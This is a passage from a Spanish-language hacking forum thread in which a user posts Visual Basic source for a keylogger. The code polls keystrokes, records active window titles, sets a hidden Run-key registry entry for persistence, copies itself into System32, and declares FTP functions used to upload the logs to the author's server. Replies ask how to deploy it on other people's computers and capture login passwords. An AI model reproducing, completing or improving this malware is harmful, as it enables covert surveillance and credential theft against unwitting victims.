            EstadoTecla = GetAsyncKeyState(vbKeyPageDown)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "{Pagedown}"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad1)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "1"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad2)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "2"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad3)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "3"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad4)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "4"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad5)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "5"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad6)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "6"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad7)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "7"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad8)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "8"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad9)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "9"
            End If
           
            EstadoTecla = GetAsyncKeyState(vbKeyNumpad0)
            If (EstadoTecla And &H1) = &H1 Then
                StrLog$ = StrLog$ + "0"
            End If
        Else
            Exit Do
        End If
    Loop
    End Sub
   
Public Function CAPSLOCKON() As Boolean
    Static bOn As Boolean
    Static bInit As Boolean
    If Not bInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
       
    CAPSLOCKON = bOn
End Function

   

[Korpex]

En el mismo form...

Código:

Private Sub grabarArchivo()
    Open path For Append As #1
        Print #1, StrLog
    Close
    StrLog = ""
End Sub

'devuelve el Caption de la ventana activa
Private Function ObtenerCaption(HandleWin As Long) As String
    Dim Buffer As String
    Dim TextTam As Long
    TextTam& = GetWindowTextLength(HandleWin&)
    Buffer$ = String(TextTam&, 0&)
    Call GetWindowText(HandleWin&, Buffer$, TextTam& + 1)
    ObtenerCaption$ = Buffer$ & vbCrLf & "---------------------------------------------------"
End Function

Y en el module1:

Código:

Option Explicit

Declare Function GetProcessHeap Lib "kernel32" () As Long
Declare Function HeapAlloc Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Declare Function HeapFree Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, lpMem As Any) As Long
Public Const HEAP_ZERO_MEMORY = &H8
Public Const HEAP_GENERATE_EXCEPTIONS = &H4
Declare Sub CopyMemory1 Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Declare Sub CopyMemory2 Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Long, hpvSource As Any, ByVal cbCopy As Long)
Public Const MAX_PATH = 260
Public Const NO_ERROR = 0
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100
Public Const FILE_ATTRIBUTE_COMPRESSED = &H800
Public Const FILE_ATTRIBUTE_OFFLINE = &H1000
Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type
Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As FILETIME
        ftLastAccessTime As FILETIME
        ftLastWriteTime As FILETIME
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MAX_PATH
        cAlternate As String * 14
End Type
Public Const ERROR_NO_MORE_FILES = 18
Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
Public Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
Public Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Public Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Public Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Public Const scUserAgent = "vb wininet"
Public Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Public Const INTERNET_OPEN_TYPE_DIRECT = 1
Public Const INTERNET_OPEN_TYPE_PROXY = 3
Public Const INTERNET_INVALID_PORT_NUMBER = 0
Public Const FTP_TRANSFER_TYPE_ASCII = &H1
Public Const FTP_TRANSFER_TYPE_BINARY = &H1
Public Const INTERNET_FLAG_PASSIVE = &H8000000
Public Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Public Const ERROR_INTERNET_EXTENDED_ERROR = 12003
Public Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
Public Const INTERNET_DEFAULT_FTP_PORT = 21
Public Const INTERNET_DEFAULT_GOPHER_PORT = 70
Public Const INTERNET_DEFAULT_HTTP_PORT = 80
Public Const INTERNET_DEFAULT_HTTPS_PORT = 443
Public Const INTERNET_DEFAULT_SOCKS_PORT = 1080
Public Const INTERNET_OPTION_CONNECT_TIMEOUT = 2
Public Const INTERNET_OPTION_RECEIVE_TIMEOUT = 6
Public Const INTERNET_OPTION_SEND_TIMEOUT = 5
Public Const INTERNET_OPTION_USERNAME = 28
Public Const INTERNET_OPTION_PASSWORD = 29
Public Const INTERNET_OPTION_PROXY_USERNAME = 43
Public Const INTERNET_OPTION_PROXY_PASSWORD = 44
Public Const INTERNET_SERVICE_FTP = 1
Public Const INTERNET_SERVICE_GOPHER = 2
Public Const INTERNET_SERVICE_HTTP = 3
Public Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Public Const INTERNET_FLAG_RELOAD = &H80000000
Public Const INTERNET_FLAG_KEEP_CONNECTION = &H400000
Public Const INTERNET_FLAG_MULTIPART = &H200000
Public Const GENERIC_READ = &H80000000
Public Const GENERIC_WRITE = &H40000000
Public Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal _
hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As _
String, ByVal lOptionalLength As Long) As Integer
Public Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Public Const HTTP_QUERY_CONTENT_TYPE = 1
Public Const HTTP_QUERY_CONTENT_LENGTH = 5
Public Const HTTP_QUERY_EXPIRES = 10
Public Const HTTP_QUERY_LAST_MODIFIED = 11
Public Const HTTP_QUERY_PRAGMA = 17
Public Const HTTP_QUERY_VERSION = 18
Public Const HTTP_QUERY_STATUS_CODE = 19
Public Const HTTP_QUERY_STATUS_TEXT = 20
Public Const HTTP_QUERY_RAW_HEADERS = 21
Public Const HTTP_QUERY_RAW_HEADERS_CRLF = 22
Public Const HTTP_QUERY_FORWARDED = 30
Public Const HTTP_QUERY_SERVER = 37
Public Const HTTP_QUERY_USER_AGENT = 39
Public Const HTTP_QUERY_SET_COOKIE = 43
Public Const HTTP_QUERY_REQUEST_METHOD = 45
Public Const HTTP_STATUS_DENIED = 401
Public Const HTTP_STATUS_PROXY_AUTH_REQ = 407
Public Const HTTP_QUERY_FLAG_REQUEST_HEADERS = &H80000000
Public Const HTTP_QUERY_FLAG_NUMBER = &H20000000
Public Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare Function InternetWriteFile Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumberOfBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" (ByVal hFtpSession As Long, ByVal sFileName As String, ByVal lAccess As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Public Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
Public Declare Function InternetSetOption Lib "wininet.dll" Alias "InternetSetOptionA" (ByVal hInternet As Long, ByVal lOption As Long, ByRef sBuffer As Any, ByVal lBufferLength As Long) As Integer
Public Declare Function InternetSetOptionStr Lib "wininet.dll" Alias "InternetSetOptionA" (ByVal hInternet As Long, ByVal lOption As Long, ByVal sBuffer As String, ByVal lBufferLength As Long) As Integer
Public Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Public Declare Function InternetQueryOption Lib "wininet.dll" Alias "InternetQueryOptionA" (ByVal hInternet As Long, ByVal lOption As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long) As Integer
Public Const INTERNET_OPTION_VERSION = 40
Public Type tWinInetDLLVersion
    lMajorVersion As Long
    lMinorVersion As Long
End Type
Public Declare Function HttpAddRequestHeaders Lib "wininet.dll" Alias "HttpAddRequestHeadersA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal lModifiers As Long) As Integer
Public Const HTTP_ADDREQ_FLAG_ADD_IF_NEW = &H10000000
Public Const HTTP_ADDREQ_FLAG_ADD = &H20000000
Public Const HTTP_ADDREQ_FLAG_REPLACE = &H80000000
'ASENTAMIENTO
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Sub AñadirInicio(NombreClave As String)
    Shell "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v " & NombreClave & " /t REG_SZ /d " & Chr(34) & App.path & "\" & App.EXEName & ".exe" & Chr(34) & " /f", vbHide
End Sub

Public Sub AutoCopiaASys32()
    Dim Bufer As String
    Dim RutaWindows As String
    Bufer = String(200, Chr$(0))
    RutaWindows = Left$(Bufer, GetSystemDirectory(Bufer, Len(Bufer)))
    On Error GoTo Fallo
    Dim x As Long
    x = GetAttr(RutaWindows & "\" & App.EXEName & ".exe")
Fallo:
    If Err = 70 Then
        Exit Sub
    End If
    FileCopy App.path & "\" & App.EXEName & ".exe", RutaWindows & "\" & App.EXEName & ".exe"
    Shell (RutaWindows & "\" & App.EXEName & ".exe")
    If GetSetting("Win32-XP", "WindowsXPT", "Fecha") = "" Then
        Call SaveSetting("Win32-XP", "WindowsXPT", "Fecha", Date)
    End If
    End
End Sub

[zXxOsirisxXz]

No se si estoy seguro de lo que estoy preguntando pero..

Con esto puedo hacer que el log se valla a Hotmail.com? a mi cuenta..
Y si por ejemplo, yo lo dejo abierto en una PC que no es mia, y apagan la PC.. el Keylogger guarda el log antes de que el Windows se apague, o todo se piede?

Gracias.

[Korpex]

Nop. A ver si me explico, el keylogger envia los logs a un FTP!! (cada dos dias),  y si te fijas, lo va guardando poco a poco en el archivo.. no debería perder nada.. además dijate en el unload.
Para que lo suba a tu ftp, XD!! obviamente tendrás que tener un server ftp con un usuario y contraseña, o hacerte con uno que sea gratuito...

Saludos.

[Guval]

Hola:
No puedo hacer funcionar el programa me da un error

Error '53' en tiempo de ejecucion
No se ha encontrado el archivo

y me indica esta linea de codigo:

    FileCopy App.path & "\" & App.EXEName & ".exe", RutaWindows & "\" & App.EXEName & ".exe"

Me puedes ayudar.
Gracias

[Korpex]

has ejecutado el proyecto...
para que funcione tienes que crear el archivo, sease COMPILAR. Cuando tengas el keylogger.exe ejecutas y listo.

[shadow_reikem]

iS VERY GOOD
 
SU CODIGO STABA MUY BIEN FORMADO ERES MUY BUENO
 

[ehler]

cada dos dias que rallada

[Korpex]

iS VERY GOOD
 
SU CODIGO STABA MUY BIEN FORMADO ERES MUY BUENO
 

Gracias

"cada dos dias que rallada"  ¿por qué? xD mejor para tí no? ¿hay ideas para mejorarlo? no tengo problema en
mejorar el code, asi que díganme


SALUDOS.

[caballero_XXI]

  en verdad quiero dejar de ser un lammer y ps quisieras enviarme un manuel de como activarlo pero ahora en español 

[Ixidior_RealitySculptor]

me parece un muy buen keylogger! solucionaste algoke yo no podia hacer! como no podia levantarlo a correos ni nada de eso.. intente combinarlo con un trojan ke se conectara a mi makina nucnaloprobe por algunos errores en el codigo con respecto a los registros... pero la idea de levantarlo a un ftp es genial. Pero lo ke si una recomendacion. . el de enviarlo cada 2 dias.. me parece ke los logs saldrian muy largos para poder ser analisados.. creoke el tiempo deberia ser un dia.. o kisas...(como vi enun keylogger hace mucho) solo logear cuando algun programa en particular este siendo usado.. no se si sabes como hacerlo o si alguien sabe..s eria muy util.. cominar todas esas ideas y producir un muy buen keylogger 

[arjonacu]

hola, soy nuevo, me podrían mandar ese keylogger a mi correo, es que soy novato en C++ y no se como trabaja, no se cual es su funcion.

mi correo es arjonacu@fisiculturista.com

ahí pueden mandarme ese programita y explicarme mas o menos como trabaja.


se los voy a agradecer al que lo haga....

By

[Draco_X]

hola, soy nuevo, me podrían mandar ese keylogger a mi correo, es que soy novato en C++ y no se como trabaja, no se cual es su funcion.

mi correo es arjonacu@fisiculturista.com

ahí pueden mandarme ese programita y explicarme mas o menos como trabaja.


se los voy a agradecer al que lo haga....

By

Pero de todas formas no te serviría para aprender C++ 
Está hecho en Visual Basic... 

Bueno, si quieres códigos en C++ mira ésta página, está muy bien y te ayudará a aprender 

Para ver este enlace Registrate o Inicia Sesion

Un saludo 

[dragus]

alguien me puede explicar, no se si la funcion ya esta incluida,esto se ejecuta desde la pantalla de inicio de sesion... hay alguna forma de hacerlo y asi conseguir las claves de inicio??

thx!